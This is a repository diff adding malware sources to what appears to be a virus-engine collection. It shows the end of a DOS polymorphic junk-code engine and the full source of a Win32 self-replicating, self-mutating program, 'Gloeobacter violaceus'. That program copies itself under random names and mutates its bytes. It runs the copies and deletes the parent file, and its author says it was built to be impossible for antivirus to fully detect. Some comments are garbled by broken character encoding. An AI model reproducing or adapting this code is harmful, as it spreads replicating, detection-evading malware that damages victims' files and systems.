mov al,[DEME_Cmds1+bx]
|
||||
stosb
|
||||
@@Exit:
|
||||
pop bx ax
|
||||
ret
|
||||
endp DEME_GenCmd1
|
||||
|
||||
DEME_Cmds1 db 00110111b ;aaa
|
||||
db 00111111b ;aas
|
||||
db 10011000b ;cbw
|
||||
db 00100111b ;daa
|
||||
db 00101111b ;das
|
||||
db 01001000b ;dec ax
|
||||
db 01000000b ;inc ax
|
||||
db 10011111b ;lahf
|
||||
|
||||
|
||||
proc DEME_GenCmd2 near
|
||||
;ƒ¥¥à¨â 1-®¯¥à ¤ãî ª®¬ ¤ã
|
||||
push ax bx
|
||||
call RND
|
||||
and ax,0fh
|
||||
mov bx,ax
|
||||
shl bx,1
|
||||
mov al,[DEME_Cmds2+bx]
|
||||
stosb
|
||||
mov bl,[DEME_Cmds2+bx+1]
|
||||
call DEME_GetUnusedReg
|
||||
or al,bl
|
||||
stosb
|
||||
pop bx ax
|
||||
ret
|
||||
endp DEME_GenCmd2
|
||||
|
||||
DEME_Cmds2 db 0d1h,11000000b ;rol
|
||||
db 0d1h,11001000b ;ror
|
||||
db 0d1h,11010000b ;rcl
|
||||
db 0d1h,11011000b ;rcr
|
||||
db 0d1h,11100000b ;shl
|
||||
db 0d1h,11101000b ;shr
|
||||
db 0ffh,11000000b ;inc
|
||||
db 0ffh,11001000b ;dec
|
||||
db 0f7h,11010000b ;not
|
||||
db 0f7h,11011000b ;neg
|
||||
db 0d3h,11000000b ;rol cl
|
||||
db 0d3h,11001000b ;ror cl
|
||||
db 0d3h,11010000b ;rcl cl
|
||||
db 0d3h,11011000b ;rcr cl
|
||||
db 0d3h,11100000b ;shl cl
|
||||
db 0d3h,11101000b ;shr cl
|
||||
|
||||
proc DEME_GenCmd3 near
|
||||
;ƒ¥¥à¨â 2-å ®¯¥à ¤ãî ª®¬ ¤ã á ¥¯®á।áâ¢¥ë¬ § 票¥¬
|
||||
push ax bx
|
||||
mov al,[DEME_MaskUsed]
|
||||
push ax
|
||||
or [DEME_MaskUsed],M_AX ;„«ï AX ª®¤ë ª®¬ ¤ ¤à㣨¥
|
||||
call RND
|
||||
xor ah,ah
|
||||
mov bl,9
|
||||
div bl
|
||||
mov bl,ah
|
||||
xor bh,bh
|
||||
shl bx,1
|
||||
mov al,[DEME_Cmds3+bx]
|
||||
stosb
|
||||
mov bl,[DEME_Cmds3+bx+1]
|
||||
call DEME_GetUnusedReg
|
||||
or al,bl
|
||||
stosb
|
||||
call RND
|
||||
stosw
|
||||
pop ax
|
||||
mov [DEME_MaskUsed],al
|
||||
pop bx ax
|
||||
ret
|
||||
endp DEME_GenCmd3
|
||||
|
||||
DEME_Cmds3 db 081h,11000000b ;add
|
||||
db 081h,11010000b ;adc
|
||||
db 081h,11101000b ;sub
|
||||
db 081h,11110000b ;xor
|
||||
db 0f7h,11000000b ;test
|
||||
db 081h,11011000b ;sbb
|
||||
db 081h,11001000b ;or
|
||||
db 081h,11111000b ;cmp
|
||||
db 081h,11100000b ;and
|
||||
; db 0c7h,11000000b ;mov
|
||||
|
||||
|
||||
proc DEME_GenCmd4 near
|
||||
;ƒ¥¥à¨â 2-å ®¯¥à ¤ãî ª®¬ ¤ã
|
||||
push ax bx cx dx
|
||||
|
||||
call RND
|
||||
xor ah,ah
|
||||
mov bl,10
|
||||
div bl
|
||||
mov bl,ah
|
||||
xor bh,bh
|
||||
mov al,[DEME_Cmds4+bx]
|
||||
stosb
|
||||
|
||||
call DEME_GetUnusedReg
|
||||
shl al,3
|
||||
mov dl,al
|
||||
call RND
|
||||
and al,00000111b
|
||||
or al,11000000b
|
||||
or al,dl
|
||||
stosb
|
||||
|
||||
pop dx cx bx ax
|
||||
ret
|
||||
endp DEME_GenCmd4
|
||||
|
||||
DEME_Cmds4 db 003h ;add
|
||||
db 013h ;adc
|
||||
db 02bh ;sub
|
||||
db 033h ;xor
|
||||
db 085h ;test
|
||||
db 01bh ;sbb
|
||||
db 00bh ;or
|
||||
db 03bh ;cmp
|
||||
db 023h ;and
|
||||
db 08bh ;mov
|
||||
|
||||
|
||||
proc DEME_GetUnusedReg near
|
||||
;‚®§¢à é ¥â ¥¨á¯®«ì§ã¥¬ë© ॣ¨áâà (¤«ï ¬ãá®à )
|
||||
push bx
|
||||
mov bl,[DEME_MaskUsed]
|
||||
mov al,M_ALL
|
||||
call DEME_GetAnyReg
|
||||
mov [DEME_MaskUsed],bl
|
||||
pop bx
|
||||
ret
|
||||
endp DEME_GetUnusedReg
|
||||
|
||||
|
||||
proc DEME_GetAnyReg near
|
||||
;‚®§¢à é ¥â ¥¨á¯®«ì§ã¥¬ë© ॣ¨áâà ¨§ ®¯à¥¤¥«¥®© £à㯯ë
|
||||
push bx cx
|
||||
mov bl,al
|
||||
not bl
|
||||
or bl,[DEME_MaskUsed]
|
||||
|
||||
call RND
|
||||
and ax,7
|
||||
mov cl,al
|
||||
mov ah,1
|
||||
rol ah,cl
|
||||
@@11:
|
||||
test ah,bl
|
||||
je @@12
|
||||
inc al
|
||||
and al,7
|
||||
rol ah,1
|
||||
jmp @@11
|
||||
@@12:
|
||||
or [DEME_MaskUsed],ah
|
||||
and ax,7
|
||||
pop cx bx
|
||||
ret
|
||||
endp DEME_GetAnyReg
|
||||
|
||||
|
||||
proc DEME_GenLoadReg16 near
|
||||
;ƒ¥¥à¨â § £à㧪ã ॣ¨áâà
|
||||
;ax - ª ª®£®
|
||||
;bx - 祬
|
||||
push ax bx
|
||||
and al,00000111b
|
||||
or al,10111000b
|
||||
stosb
|
||||
mov ax,bx
|
||||
stosw
|
||||
pop bx ax
|
||||
ret
|
||||
endp DEME_GenLoadReg16
|
||||
|
||||
Seed dw 0
|
||||
Seed1 dw 0
|
||||
DEME_MaskUsed db 0
|
||||
|
||||
DEME_RegIndex dw 0
|
||||
DEME_RegCounter dw 0
|
||||
DEME_RegKey dw 0
|
||||
|
||||
DEME_Origin dw 0
|
||||
DEME_BuffOffs dw 0
|
||||
|
||||
DEME_LoopAddr dw 0
|
||||
DEME_JmpShort dw 0
|
||||
DEME_CodeLen dw 0
|
||||
DEME_Key dw 0
|
||||
DEME_KeyAdd dw 0
|
||||
DEME_AddrBeg dw 0
|
||||
|
||||
POPSTATE
|
||||
|
||||
|
||||
|
||||
|
BIN
Engines/Virus.Win32.Dina.7z
Normal file
BIN
Engines/Virus.Win32.Dina.7z
Normal file
Binary file not shown.
BIN
Engines/Virus.Win32.Dizzy.7z
Normal file
BIN
Engines/Virus.Win32.Dizzy.7z
Normal file
Binary file not shown.
BIN
Engines/Virus.Win32.Dme.7z
Normal file
BIN
Engines/Virus.Win32.Dme.7z
Normal file
Binary file not shown.
BIN
Engines/Virus.Win32.Expo.7z
Normal file
BIN
Engines/Virus.Win32.Expo.7z
Normal file
Binary file not shown.
1107
Engines/Virus.Win32.Flying.asm
Normal file
1107
Engines/Virus.Win32.Flying.asm
Normal file
File diff suppressed because it is too large
Load Diff
673
Engines/Virus.Win32.Gv.ASM
Normal file
673
Engines/Virus.Win32.Gv.ASM
Normal file
@ -0,0 +1,673 @@
|
||||
Gloeobacter violaceus
|
||||
by Second Part To Hell/[rRlf]
|
||||
www.spth.de.vu
|
||||
spth@priest.com
|
||||
written in May 2005
|
||||
in Austria
|
||||
|
||||
I proudly present my very first real Win32 Project.
|
||||
Before anything else I have to say that this is neighter a real virus
|
||||
nor a real engine. It is a program emulating the nature's mutations.
|
||||
|
||||
I would descripe it as a primitive artificial life form.
|
||||
|
||||
How does it work?
|
||||
1) When executed, it get's the own filename and the parent's filename
|
||||
2) It sleeps for 1500 + (0..4095) milliseconds
|
||||
3) It copies itself to a random filename in the current directory
|
||||
4) 1/4 it mutates:
|
||||
- Point Mutation: ~68.75%
|
||||
- Chromosome Mutation:
|
||||
* Chromosome Inversation
|
||||
* Chromosome Translocation
|
||||
* Chromosome Delection
|
||||
* Chromosome Dublication
|
||||
* Chromosome Inseration
|
||||
5) It executes the new file
|
||||
6) With a chance of ~50% it jmps to 2
|
||||
7) It deletes the partent's file
|
||||
8) It exits it's own process
|
||||
|
||||
Where the hell can you see a primitive artificial life form?
|
||||
|
||||
Well, we can also say, that the project behaves like that:
|
||||
|
||||
1) Birth of the lifeform
|
||||
2) Growing up until it can replicate itself
|
||||
3/4) Replicate - there may happen mistakes while replicating
|
||||
5) Birth of the child
|
||||
6) Maybe it makes another child?!
|
||||
7) Give me more space - Remove the corpse of the parent
|
||||
8) Death of the lifeform
|
||||
|
||||
About the name: I've thought long time about a suitable name,
|
||||
and I think I got a right one: 'Gloeobacter violaceus' are very simple
|
||||
bacteria, and also one of the very first life form on our world.
|
||||
|
||||
With this code I've (more than) partly realized my idea, which I've
|
||||
written down in the article "Code Evolution: Follow nature's example", and
|
||||
I think I've succeded.
|
||||
|
||||
Now let me write some lines about it's behaviour when it's executed:
|
||||
First I have to say that every mutation may kill the children. But nevermind,
|
||||
the same also happens in nature. As I have tested it very well, I've been faced
|
||||
with some strange mutations. Let me tell you some: The filename of the child
|
||||
was not .exe but something else; sometimes the DOS-Box opened (when the MZ was
|
||||
deleted or changed, Windows wanted to run it as a .COM); and the maybe stranges
|
||||
thing ever happend while testing was the creation of two file called 'v' and ' '.
|
||||
One is 1kB and one is 500kB, I can neighter read, overwrite, delete or do anything
|
||||
else with them. And furthermore they have no arguments as creation-time. They are
|
||||
just lost space at my HD, but who cares, I dont need these 501kB :)
|
||||
|
||||
My intention in writing this code was, beside of creating an artificial life form,
|
||||
making a technique, which CAN NOT be fully detect by AVs. Reason: Every BIT (!)
|
||||
can be changed, and there is no way to find out, how the whole code is changed.
|
||||
|
||||
As even the body of the code may be changed, this could also be called metamorphism.
|
||||
But I would not call it 'metamorph', as everything is random (the code don't 'know'
|
||||
what it does).
|
||||
|
||||
Thanks goes to BlueOwl and Dr3f, who helped me with some problems with Win32 APIs.
|
||||
|
||||
For compiling:
|
||||
Delete the into (this!) and use 'flat assembler 1.56'.
|
||||
|
||||
|
||||
|
||||
|
||||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Gloeobacter violaceus ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||||
|
||||
include '..\FASM\INCLUDE\win32ax.inc'
|
||||
|
||||
.data
|
||||
systemtime_struct: ; for random number
|
||||
dw 0 ; wYear
|
||||
dw 0 ; wMonth
|
||||
dw 0 ; wDayOfWeek
|
||||
dw 0 ; wDay
|
||||
dw 0 ; wHour
|
||||
dw 0 ; wMinute
|
||||
dw 0 ; wSecond
|
||||
rnd: dw 0 ; wMilliseconds
|
||||
|
||||
rand_name_buffer: ; The random-engine fills this buffer with 8 random (0-255) bytes
|
||||
times 8 db 0
|
||||
|
||||
rnd_file_name: ; This will contain the filename of the new child
|
||||
times 8 db 0
|
||||
db '.exe',0
|
||||
|
||||
current_file_value: ; Will contain the current running filename
|
||||
times 8 db 0
|
||||
db '.exe',0
|
||||
|
||||
parent_file dd 0x0 ; Buffer for pointer to the parent-file-name
|
||||
current_file dd 0x0 ; Buffer for pointer to the current running file
|
||||
file_handle dd 0x0
|
||||
file_size dd 0x0
|
||||
map_pointer dd 0x0
|
||||
map_handle dd 0x0
|
||||
change_byte_offset dd 0x0
|
||||
change_byte_value db 0x0
|
||||
|
||||
StartUp_struct:
|
||||
StartUp_struct_cb dd 0
|
||||
StartUp_struct_lpReserved dd 0
|
||||
StartUp_struct_lpDesktop dd 0
|
||||
StartUp_struct_lpTitle dd 0
|
||||
StartUp_struct_dwX dd 0
|
||||
StartUp_struct_dwY dd 0
|
||||
StartUp_struct_dwXSize dd 0
|
||||
StartUp_struct_dwYSize dd 0
|
||||
StartUp_struct_dwXCountChars dd 0
|
||||
StartUp_struct_dwYCountChars dd 0
|
||||
StartUp_struct_dwFillAttribute dd 0
|
||||
StartUp_struct_dwFlags dd 0
|
||||
StartUp_struct_wShowWindow dw 0
|
||||
StartUp_struct_cbReserved2 dw 0
|
||||
StartUp_struct_lpReserved2 dd 0
|
||||
StartUp_struct_hStdInput dd 0
|
||||
StartUp_struct_hStdOutput dd 0
|
||||
StartUp_struct_hStdError dd 0
|
||||
|
||||
|
||||
ProcessInfo_Struct:
|
||||
PROCESS_INFORMATION_hProcess dd 0
|
||||
PROCESS_INFORMATION_hThread dd 0
|
||||
PROCESS_INFORMATION_dwProcessId dd 0
|
||||
PROCESS_INFORMATION_dwThreadId dd 0
|
||||
|
||||
|
||||
|
||||
.code
|
||||
start:
|
||||
invoke GetCommandLine ; Get the name of the current file
|
||||
|
||||
cmp byte [eax], '"' ; Compare if first byte is ". As GetCommandLine could be ["filename"] or [filename]
|
||||
jne got_my_name ; If no ", then we already have it
|
||||
|
||||
;;; FIRST EXECUTION ;;;
|
||||
|
||||
inc eax ; Delete first "
|
||||
mov ebx, eax ; Save the pointer
|
||||
get_my_name:
|
||||
inc ebx ; Get next byte
|
||||
cmp byte [ebx], '.' ; Compare the value with a dot
|
||||
jne get_my_name ; If not equal, get next letter of the filename
|
||||
|
||||
add ebx, 4 ; Get the pointer of the second "
|
||||
mov byte [ebx], 0x0 ; Del the second "
|
||||
sub ebx, 4 ; Go back to the dot
|
||||
get_my_name2:
|
||||
dec ebx ; Previous letter
|
||||
cmp byte [ebx], '\' ; Check if it's the end of the path (=filestart-1)
|
||||
jne get_my_name2 ; if not, get another letter
|
||||
|
||||
inc ebx ; delete the '\'
|
||||
mov eax, ebx ; eax=ebx=pointer to start of currentfilename
|
||||
|
||||
;;; END FIRST EXECUTION ;;;
|
||||
|
||||
got_my_name:
|
||||
mov byte [eax+12], 0x0 ; make a NULL-terminated string
|
||||
mov [current_file], eax ; Save the filename of the current running process
|
||||
|
||||
add eax, 13 ; Point to the first letter of the parent
|
||||
mov [parent_file], eax ; Save the pointer to the parent
|
||||
|
||||
call random_number ; Get random number
|
||||
mov ecx, [rand_name_buffer] ; Move a random number to ecx
|
||||
and ecx, 1 ; Random number between 0 and 1: New counter
|
||||
|
||||
add ecx, 1 ; ecx++ (counter: 1 or 2 childs)
|
||||
|
||||
create_next_child:
|
||||
push ecx ; Save the counter
|
||||
|
||||
call random_number ; Renew random numbers
|
||||
mov ebp, 1500 ; ebp=1500
|
||||
mov eax, [rand_name_buffer] ; eax=random number
|
||||
and eax, 4095 ; eax=0000 0000 0000 0000 0000 ???? ???? ????
|
||||
add ebp, eax ; ebp=1500+(0..4095)
|
||||
invoke Sleep, ebp ; Sleep 1500+(0..4095) ms
|
||||
|
||||
call get_n_save_random_name ; Get a random filename
|
||||
invoke CopyFile, [current_file], rnd_file_name, 0 ; Copy current file to new file with random name
|
||||
|
||||
call random_number ; Get new random number
|
||||
mov ax, [rand_name_buffer] ; Get them from buffer
|
||||
xor ah, al ; compain 2 bytes
|
||||
and ah, 3 ; ???? ???? -> 0000 00??
|
||||
cmp ah, 2 ; ah=0000 0010?
|
||||
je evolution ; If yes -> evolution
|
||||
noevolution: ; Code continues here after mutation, if there where any
|
||||
call birthofchild ; Make the child living!
|
||||
pop ecx ; Another child?
|
||||
loop create_next_child ; If counter>1, create new child!
|
||||
|
||||
cmp [parent_file], 0x0 ; Compare if parent_file = 0 (first execution?)
|
||||
je Death ; If so, no parent killing, as there is no parent!
|
||||
|
||||
invoke DeleteFile, [parent_file] ; Kill the parent! (sorry mum, sorry dad :D)
|
||||
|
||||
Death:
|
||||
invoke ExitProcess, 0 ; Close current process: Death! :)
|
||||
|
||||
birthofchild:
|
||||
mov esi, [current_file] ; esi=pointer to current file name
|
||||
mov edi, current_file_value ; edi=pointer to buffer for current file name
|
||||
mov ecx, 8 ; counter: 8 bytes to copy
|
||||
rep movsb ; Move ecx byte from [esi] to [edi]
|
||||
|
||||
mov byte [current_file_value-1], 0x20 ; Delete the 0x0
|
||||
invoke CreateProcess, 0x0, rnd_file_name, 0x0, 0x0, FALSE, 0x0, 0x0, 0x0, StartUp_struct, ProcessInfo_Struct ; Create child-process
|
||||
mov byte [current_file_value-1], 0x0 ; Reset the 0x0
|
||||
ret
|
||||
|
||||
random_number:
|
||||
pop edi ; Get value of stack
|
||||
push edi ; Back to the stack
|
||||
mov ecx, 8 ; ecx=counter
|
||||
mov dh, 0xAA ; dh: changes in the function and makes the number little bit more random
|
||||
mov dl, 0x87 ; same as dh
|
||||
random_name_loop:
|
||||
push dx ; Save dx at stack
|
||||
push ecx ; Save counter at stack
|
||||
call random_byte ; Random number in al
|
||||
pop ecx ; get counter
|
||||
xor al, cl ; Counter influences pseudo random number
|
||||
pop dx ; Get dx
|
||||
push ecx
|
||||
xor dx, cx ; Counter influences influncing number
|
||||
add dh, al ; Random number influences influencing number
|
||||
sub dl, al ; Same as dh
|
||||
neg dl ; Neg dl
|
||||
xor dl, dh ; dl XOR dh -> more variability
|
||||
xor al, dl ; random number changes
|
||||
sub ax, di ; value of stack influences random number
|
||||
add ax, dx ; ax+dx
|
||||
mov dl, [rand_name_buffer+ecx-2]
|
||||
mov dh, [rand_name_buffer+ecx-3] ; dx=???? ???? ????? ?????
|
||||
sub al, dl ; al-=dl
|
||||
add al, dh ; al+=dh
|
||||
mov ah, dl ; ah=dl
|
||||
push ax ; AX to stack
|
||||
mov cl, 1 ; cl=1
|
||||
or dh, cl ; dh is at least 1 (to reduce chance of result=zero)
|
||||
mul dh ; AL=AX*DH
|
||||
pop cx ; CX=old AX
|
||||
push cx ; To stack again
|
||||
add cl, al ; CL+=AL
|
||||
sub cl, ah ; CL-=AH
|
||||
xchg al, cl ; AL=CL
|
||||
mov cx, bp ; cx=bp
|
||||
mul cl ; AX=AL*CL
|
||||
neg ah ; NEG AH
|
||||
xor al, ah ; xor AL and AH
|
||||
pop cx ; get old AX
|
||||
sub cl, al ; SUB
|
||||
add cl, dl ; cl+=old random number
|
||||
sub al, cl ; al ~=random :)
|
||||
pop ecx ; Get counter
|
||||
mov [rand_name_buffer+ecx-1], al ; Save random letter
|
||||
loop random_name_loop
|
||||
|
||||
ret
|
||||
|
||||
random_name:
|
||||
call random_number ; Get 8 random bytes
|
||||
mov ecx, 8 ; counter=8, as we want to do it 8 times
|
||||
|
||||
changetoletter:
|
||||
mov al, [rand_name_buffer+ecx-1] ; Get a letter
|
||||
mov bl, 10 ; BL=10
|
||||
xor ah, ah ; AX: 0000 0000 ???? ????
|
||||
div bl ; AL=rnd/10=number between 0 and 25
|
||||
add al, 97 ; Add 97 for getting lowercase letters
|
||||
mov [rnd_file_name+ecx-1], al ; Save random letter
|
||||
loop changetoletter
|
||||
ret
|
||||
|
||||
random_byte:
|
||||
invoke GetSystemTime, systemtime_struct ; Get first number
|
||||
mov ebx, [rnd-2] ; ebx=number
|
||||
add ebx, edx ; Making it pseudo-independent of time
|
||||
sub ebx, ecx
|
||||
xor ebx, eax
|
||||
xchg bl, bh
|
||||
pop ecx
|
||||
push ecx
|
||||
neg ebx
|
||||
xor ebx, ecx ; ebx=pseudo-indepentend number
|
||||
|
||||
invoke GetTickCount ; Get second number
|
||||
xor eax, ecx ; eax=number
|
||||
neg ax ; Making it pseudo-independent of time
|
||||
xor eax, edx
|
||||
xor ah, al
|
||||
sub eax, ebp
|
||||
add eax, esi ; eax=pseudo-indepentend number
|
||||
|
||||
xor eax, ebx ; Compain the numbers -> eax
|
||||
mov ebx, eax ; Save eax
|
||||
shr eax, 8 ; e-part -> ax
|
||||
xor ax, bx
|
||||
xor al, ah ; al=number
|
||||
ret
|
||||
|
||||
get_n_save_random_name:
|
||||
mov ebp, 12 ; ebp influences the pseudo-random-number engine too
|
||||
call random_name ; Get a random name
|
||||
ret
|
||||
|
||||
evolution:
|
||||
; invoke MessageBox, 0x0, rnd_file_name, "Code Evolution", 0x0
|
||||
|
||||
invoke CreateFile, rnd_file_name, 0xC0000000 ,0x1, 0x0, 0x3, 0x0, 0x0 ; Open the new created file
|
||||
mov [file_handle], eax ; Save the file handle
|
||||
invoke GetFileSize, [file_handle], file_size ; Get the size of the file
|
||||
mov [file_size], eax ; Low Filesize returned in eax
|
||||
invoke CreateFileMapping, [file_handle], 0x0, PAGE_READWRITE, 0x0, [file_size], 0x0 ; Create a Map
|
||||
mov [map_handle], eax ; Save the Map handle
|
||||
|
||||
invoke MapViewOfFile, [map_handle], FILE_MAP_WRITE, 0x0, 0x0, [file_size] ; Map view of file
|
||||
mov [map_pointer], eax ; Save the pointer of file
|
||||
|
||||
call random_number ; Get a random number
|
||||
mov al, [rand_name_buffer] ; Radom number in al
|
||||
|
||||
; Chances:
|
||||
; Point-Mutation: ~50%+18.75%=~68.75%
|
||||
; Each Chromosome Mutation: ~6.25%
|
||||
|
||||
and al, 1 ; al=0000 000?
|
||||
cmp al, 1 ; Compare with 1
|
||||
je pointmutation ; If al=1 then jmp pointmutation (change: ~50%)
|
||||
|
||||
mov al, [rand_name_buffer+4] ; al=new random number
|
||||
and al, 7 ; al=0000 0???
|
||||
|
||||
cmp al, 0 ; Compare al with 0
|
||||
je chrom_inversation ; If al=0 make Chromosome Inversation
|
||||
|
||||
cmp al, 1 ; Compare al with 1
|
||||
je chrom_translocation ; If al=1 make Chromosome Translocation
|
||||
|
||||
cmp al, 2 ; Compare al with 2
|
||||
je chrom_delection ; If al=2 make Chromosome Delection
|
||||
|
||||
cmp al, 3 ; Compare al with 3
|
||||
je chrom_dublication ; If al=2 make Chromosome Dublication
|
||||
|
||||
cmp al, 4 ; Compare al with 4
|
||||
je chrom_inseration ; If al=4 make Chromosome Inseration
|
||||
|
||||
jmp pointmutation ; Otherwise do Pointmutation (Chance ~18.75%)
|
||||
|
||||
endofmutation:
|
||||
invoke UnmapViewOfFile, [map_pointer] ; Unmap View of File
|
||||
|
||||
invoke CloseHandle, [map_handle] ; Close Map
|
||||
invoke CloseHandle, [file_handle] ; Close File
|
||||
jmp noevolution
|
||||
|
||||
pointmutation: ; Mutation: Pointmutation
|
||||
call random_number ; Renew the random numbers
|
||||
xor eax, eax ; eax=0
|
||||
mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ????
|
||||
mov ebx, [file_size] ; ebx=File size
|
||||
cmp eax, ebx ; comparee Random Number with File Size
|
||||
jg pointmutation ; If RN>Filesize then get new random number (=byte to change)
|
||||
|
||||
add eax, [map_pointer] ; eax=Byte to change in memory
|
||||
mov [change_byte_offset], eax ; Save the offset
|
||||
|
||||
mov ah, [eax] ; Get the value of the byte
|
||||
mov [change_byte_value], ah ; Save it
|
||||
|
||||
mov cl, [rand_name_buffer+5] ; cl=???? ????
|
||||
and cl, 7 ; cl=0000 0???
|
||||
mov al, 1 ; al=0000 0001
|
||||
shl al, cl ; AL= ? <- |0|0|0|0| |0|0|0|1| -- ?
|
||||
mov esi, [change_byte_offset] ; esi=offset of byte to change
|
||||
xor [esi], al ; XOR byte with AL
|
||||
; invoke MessageBox, 0x0, esi, "Point Mutation", 0x0
|
||||
jmp endofmutation
|
||||
|
||||
chrom_inversation: ; Mutation: Chromosome Mutation - Inversation
|
||||
call random_number ; Renew the random numbers
|
||||
xor eax, eax ; eax=0
|
||||
mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ????
|
||||
mov ebx, [file_size] ; ebx=Filesize
|
||||
sub ebx, 16 ; ebx-=16 (As we may change two 8 byte parts)
|
||||
cmp eax, ebx ; comparee Random number with Filesize-16
|
||||
jg chrom_inversation ; If RN>Filesize-16 then get new random number (=place to change)
|
||||
|
||||
add eax, [map_pointer] ; Add the offset of file memory
|
||||
mov [change_byte_offset], eax ; Save the -to-be-changed- offset
|
||||
|
||||
xor ecx, ecx ; ecx=0
|
||||
mov cx, [rand_name_buffer+2] ; ecx=0000 0000 0000 0000 ???? ???? ???? ????
|
||||
and cx, 7 ; ecx=0000 0000 0000 0000 0000 0000 0000 0???
|
||||
mov [change_byte_value], cl ; Save cl (=How many bytes to change)
|
||||
|
||||
mov esi, [change_byte_offset] ; ESI=Offset of part 1
|
||||
mov edi, rand_name_buffer ; EDI=Offset of Buffer
|
||||
rep movsb ; part 1 to buffer: REP MOVS m8,m8 Move (E)CX bytes from DS:[(E)SI] to ES:[(E)DI]
|
||||
|
||||
|
||||
xor eax, eax ; eax=0
|
||||
mov al, [change_byte_value] ; eax=Counter (start of part 2)
|
||||
add eax, [change_byte_offset] ; eax+=Offset in memory of part 2
|
||||
|
||||
xor ecx, ecx ; ecx=0
|
||||
mov cl, [change_byte_value] ; ecx=Counter
|
||||
|
||||
mov esi, eax ; ESI=Offset of part 2
|
||||
mov edi, [change_byte_offset] ; EDI=Offset of part 1
|
||||
rep movsb ; part 2 to part 1: REP MOVS m8,m8 Move (E)CX bytes from DS:[(E)SI] to ES:[(E)DI]
|
||||
|
||||
|
||||
xor ecx, ecx ; ecx=0
|
||||
mov cl, [change_byte_value] ; ecx=Counter
|
||||
mov eax, [change_byte_offset] ; eax=Start of part 1
|
||||
add eax, ecx ; eax=Start of part 2
|
||||
|
||||
mov esi, rand_name_buffer ; ESI=Offset of buffer
|
||||
mov edi, eax ; EDI=Offset of part 2
|
||||
rep movsb ; buffer to part 1
|
||||
|
||||
; invoke MessageBox, 0x0, "Inversation", "Chromosome Mutation", 0x0
|
||||
jmp endofmutation ; Finished Inversation!
|
||||
|
||||
chrom_translocation:
|
||||
call random_number ; Renew the random numbers
|
||||
xor eax, eax ; eax=0
|
||||
mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ????
|
||||
mov ebx, [file_size] ; ebx=Filesize
|
||||
sub ebx, 8 ; ebx-=8 (As we may change 8 byte)
|
||||
cmp eax, ebx ; Compare Random number with Filesize-8
|
||||
jg chrom_translocation ; If RN>Filesize-8 then get new random number (=place to change)
|
||||
|
||||
add eax, [map_pointer] ; Add the offset of file memory
|
||||
mov [change_byte_offset], eax ; Save the -to-be-changed- offset
|
||||
|
||||
xor ecx, ecx ; ecx=0
|
||||
mov cx, [rand_name_buffer+2] ; ecx=0000 0000 0000 0000 ???? ???? ???? ????
|
||||
and cx, 7 ; ecx=0000 0000 0000 0000 0000 0000 0000 0???
|
||||
mov [change_byte_value], cl ; Save cl (=How many bytes to change)
|
||||
|
||||
mov esi, [change_byte_offset] ; ESI=Offset of source
|
||||
mov edi, rand_name_buffer ; EDI=Offset of Buffer
|
||||
rep movsb ; Code-Part to buffer: MOVS m8,m8 Move (E)CX bytes from DS:[(E)SI] to ES:[(E)DI]
|
||||
|
||||
mov ecx, [file_size] ; eax=filesize
|
||||
add ecx, [map_pointer] ; eax=End of file in memory
|
||||
sub ecx, [change_byte_offset] ; eax=Bytes after Change_byte_offset
|
||||
|
||||
mov esi, [change_byte_offset] ; esi=Pointer to change byte
|
||||
xor eax, eax ; eax=0
|
||||
mov al, [change_byte_value] ; eax=number of bytes to change
|
||||
add esi, eax ; esi=Pointer to end of changing in memory
|
||||
|
||||
mov edi, [change_byte_offset] ; edi=Offset of changing
|
||||
rep movsb
|
||||
|
||||
chrom_trans_loop: ; Get a offset, where to save the part
|
||||
call random_number ; Renew the random numbers
|
||||
xor eax, eax ; eax=0
|
||||
mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ????
|
||||
mov ebx, [file_size] ; ebx=Filesize
|
||||
sub ebx, 8 ; ebx-=8 (As we may change 8 byte)
|
||||
cmp eax, ebx ; Compare Random number with Filesize-8
|
||||
jg chrom_trans_loop ; If RN>Filesize-8 then get new random number (=place to change)
|
||||
|
||||
add eax, [map_pointer] ; Add the offset of file memory
|
||||
mov [change_byte_offset], eax ; Save offset of changing
|
||||
|
||||
mov ecx, [map_pointer] ; ecx=Start of file in memory
|
||||
add ecx, [file_size] ; ecx=End of file in memory
|
||||
|
||||
sub ecx, [change_byte_offset] ; ecx=Bytes after change-place
|
||||
xor eax, eax ; eax=0
|
||||
mov al, [change_byte_value] ; eax=number of bytes to change
|
||||
sub ecx, eax ; ecx-=number of bytes to change
|
||||
|
||||
mov esi, [change_byte_offset] ; esi=Offset of changing
|
||||
mov edi, [change_byte_offset] ; edi=offset of changing
|
||||
add edi, eax ; edi=Offset after changing
|
||||
|
||||
chrom_trans_buffer: ; Delete the Code-Part
|
||||
mov al, [esi+ecx] ; al=Value to Replace
|
||||
mov [edi+ecx], al ; Save al
|
||||
loop chrom_trans_buffer
|
||||
|
||||
; invoke MessageBox, 0x0, "Translocation", "Chromosome Mutation", 0x0
|
||||
jmp endofmutation
|
||||
|
||||
chrom_delection:
|
||||
call random_number ; Renew the random numbers
|
||||
xor eax, eax ; eax=0
|
||||
mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ????
|
||||
mov ebx, [file_size] ; ebx=Filesize
|
||||
sub ebx, 8 ; ebx-=8
|
||||
cmp eax, ebx ; comparee Random number with Filesize
|
||||
jg chrom_delection ; If RN>Filesize-8 then get new random number (=place to change)
|
||||
|
||||
add eax, [map_pointer] ; Add the offset of file memory
|
||||
mov [change_byte_offset], eax ; Save the pointer
|
||||
|
||||
call random_number ; Get a random number
|
||||
xor ecx, ecx ; ecx=0
|
||||
mov cl, [rand_name_buffer] ; cl=random number
|
||||
and cl, 7 ; cl=0000 0???
|
||||
mov [change_byte_value], cl ; Save the random number
|
||||
|
||||
mov ecx, [file_size] ; eax=filesize
|
||||
add ecx, [map_pointer] ; eax=End of file in memory
|
||||
sub ecx, [change_byte_offset] ; eax=Bytes after Change_byte_offset
|
||||
|
||||
mov esi, [change_byte_offset] ; esi=Pointer to change byte
|
||||
xor eax, eax ; eax=0
|
||||
mov al, [change_byte_value] ; eax=number of bytes to change
|
||||
add esi, eax ; esi=Pointer to end of changing in memory
|
||||
|
||||
mov edi, [change_byte_offset] ; edi=Offset of changing
|
||||
rep movsb
|
||||
|
||||
; invoke MessageBox, 0x0, "Delection", "Chromosome Mutation", 0x0
|
||||
